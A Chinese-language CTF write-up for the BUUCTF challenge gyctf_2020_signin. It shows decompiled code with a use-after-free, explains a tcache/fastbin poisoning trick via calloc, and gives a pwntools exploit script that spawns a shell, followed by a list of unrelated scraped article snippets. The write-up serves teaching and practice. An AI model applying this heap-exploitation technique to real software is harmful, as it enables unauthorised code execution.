Ubuntu18.04的题

用到了两个特性:

一个是 calloc 的特点:不会分配 tcache chunk 中的 chunk

另一个是 tcache 的特点:在分配 fastbin 中的 chunk 时,若还有其他相同大小的 fastbin_chunk 并且 tcache 还没满时,会将其全部放入 tcache 里。

menu:

 1 unsigned __int64 menu()
2 {
3 int choice; // eax
4 __int64 s[3]; // [rsp+0h] [rbp-20h] BYREF
5 unsigned __int64 v3; // [rsp+18h] [rbp-8h]
6
7 v3 = __readfsqword(0x28u);
8 printf("your choice?");
9 s[0] = 0LL;
10 s[1] = 0LL;
11 memset(s, 0, 0x10uLL);
12 read(0, s, 0xFuLL);
13 choice = atoi((const char *)s);
14 if ( choice == 2 )
15 {
16 edit();
17 }
18 else if ( choice > 2 )
19 {
20 if ( choice != 3 )
21 {
22 if ( choice == 6 )
23 backdoor();
24 goto LABEL_12;
25 }
26 del();
27 }
28 else
29 {
30 if ( choice != 1 )
31 {
32 LABEL_12:
33 puts("no such choice!");
34 return __readfsqword(0x28u) ^ v3;
35 }
36 add();
37 }
38 return __readfsqword(0x28u) ^ v3;
39 }

add:

unsigned __int64 add()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
__int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u);
puts("idx?");
s[0] = 0LL;
s[1] = 0LL;
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi((const char *)s);
if ( addcnt >= 0 && v1 <= 0xF )
{
ptrlist[v1] = malloc(0x70uLL); //堆块大小固定fastbin
flags[v1] = 1;
--addcnt;
}
return __readfsqword(0x28u) ^ v3;
}

delete:

unsigned __int64 del()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
__int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u);
puts("idx?");
s[0] = 0LL;
s[1] = 0LL;
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi((const char *)s);
if ( v1 <= 0xF && flags[v1] == 1 )
{
free((void *)ptrlist[v1]); //UAF
flags[v1] = 0;
}
return __readfsqword(0x28u) ^ v3;
}

edit:

unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-24h]
__int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u);
if ( cnt >= 0 )
{
puts("idx?");
s[0] = 0LL;
s[1] = 0LL;
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi((const char *)s);
read(0, (void *)ptrlist[v1], 0x50uLL);
--cnt;
}
return __readfsqword(0x28u) ^ v3;
}

backdoor:

void __noreturn backdoor()
{
calloc(1uLL, 0x70uLL);
if ( ptr )
system("/bin/sh");
exit(0);
}

我们先连续申请8个,然后依次释放,会填满 tcache_chunk 并且还有一个被放到 fastbin 中。

然后我们申请一个回来,在 tcache 里预留一个空位给ptr

利用 UAF 修改 fastbin 的 fd 指针指向 prt-0x10,那么 calloc 时会从 fastbin 里分配一个堆,并且认为 prt-0x10,也是一个 chunk,会把它挂在 tcache 里 ,而 tcache 的 next 指向的是上一个 tcache 的 next 处(fastbin 的 fd 会指向上一个的 chunk 头处),使prt 非零,getshell。

exp:

 1 from pwn import *
2 context.arch='amd64'
3 context.log_level = 'debug'
4
5 #s=remote("node4.buuoj.cn",29764)
6 s=process('./1')
7
8 def add(idx):
9 s.sendlineafter(b'your choice?',b'1')
10 s.sendlineafter(b'idx?',str(idx))
11
12 def edit(idx,context):
13 s.sendlineafter(b'your choice?',b'2')
14 s.sendlineafter(b'idx?',str(idx))
15 s.send(context)
16
17 def delete(idx):
18 s.sendlineafter(b'your choice?',b'3')
19 s.sendlineafter(b'idx?',str(idx))
20
21 ptr=0x4040C0
22
23 for i in range(8):
24 add(i)
25
26 for i in range(8):
27 delete(i)
28
29 add(8)
30 edit(7,p64(ptr-0x10))
31 gdb.attach(s)
32 s.sendlineafter(b'your choice?',b'6')
33
34
35 s.interactive()

tcache BUUCTF gyctf_2020_signin的更多相关文章

  1. Buuctf刷题:部分

    get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...

  2. Pwn Heap With Tcache

    Pwn Heap With Tcache 前言 glibc 2.26 开始引入了 tcache , 相关的 commit 可以看 这里 .加入 tcache 对性能有比较大的提升,不过由于 tcach ...

  3. 由一道CTF pwn题深入理解libc2.26中的tcache机制

    本文首发安全客:https://www.anquanke.com/post/id/104760 在刚结束的HITB-XCTF有一道pwn题gundam使用了2.26版本的libc.因为2.26版本中加 ...

  4. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

  5. BUUCTF 部分wp

    目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...

  6. buuctf misc 刷题记录

    1.金三胖 将gif分离出来. 2.N种方法解决 一个exe文件,果然打不开,在kali里分析一下:file KEY.exe,ascii text,先txt再说,base64 图片. 3.大白 crc ...

  7. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  8. buuctf misc wp 01

    buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...

  9. buuctf misc wp 02

    buuctf misc wp 02 7.LSB 8.乌镇峰会种图 9.rar 10.qr 11.ningen 12.文件中的秘密 13.wireshark 14.镜子里面的世界 15.小明的保险箱 1 ...

随机推荐

  1. 商业爬虫学习笔记day3

    一. 付费代理发送请求的两种方式 第一种方式: (1)代理ip,形式如下: money_proxy = {"http":"username:pwd@192.168.12. ...

  2. Java事务与JTA

    一.什么是JAVA事务 通俗的理解,事务是一组原子操作单元,从数据库角度说,就是一组SQL指令,要么全部执行成功,若因为某个原因其中一条指令执行有错误,则撤销先前执行过的所有指令.更简答的说就是:要么 ...

  3. Linux基础命令---mail邮件管理程序

    mail mail是一个邮件的管理程序,可以用来发送或者接收邮件. 此命令的适用范围:RedHat.RHEL.Ubuntu.CentOS.Fedora.   1.语法       mail  [选项] ...

  4. 【力扣】剑指 Offer 50. 第一个只出现一次的字符

    在字符串 s 中找出第一个只出现一次的字符.如果没有,返回一个单空格. s 只包含小写字母. 示例: s = "abaccdeff"返回 "b" s = &qu ...

  5. java 多线程的状态迁移 常用线程方法分析

    一.线程的各个状态 图中的线程状态(Thread.Stat 中定义的Enum 名)NEW.RUNNABLE .TERMINATED.WAITING.TIMED_WAITING 和BLOCKED 都能够 ...

  6. Mysql主从复制参数详解

    目录 一.简介 二.例子 同步 修改 三.参数 一.简介 change master to配置和改变slave服务器用于连接master服务器的参数,以便slave服务器读取master服务器的bin ...

  7. pipeline 结构设计

    目录 一.pipeline步骤 二.案例 pipeline详解 只生成一次制品 不同环境部署 系统集成测试 指定版本部署 一.pipeline步骤 当团队开始设计第一个pipeline时,该如何下手呢 ...

  8. 【模型推理】量化实现分享一:详解 min-max 对称量化算法实现

      欢迎关注我的公众号 [极智视界],回复001获取Google编程规范   O_o   >_<   o_O   O_o   ~_~   o_O   大家好,我是极智视界,本文剖析一下 m ...

  9. greeting-150

    拿到程序例行检查,可以看出程序是32位的程序 将程序放入ida中进入主函数查看 但是我们将程序运行一次后发现程序还运行了nao的程序 说明程序在中间还引用了nao函数,通过代码审计我们可以很直接的看到 ...

  10. Python pyecharts绘制仪表盘

    一.仪表盘gauge.add方法简介 gauge.add()方法签名 add(name,attr,value, scale_range=none, angle_range=none,**kwargs) ...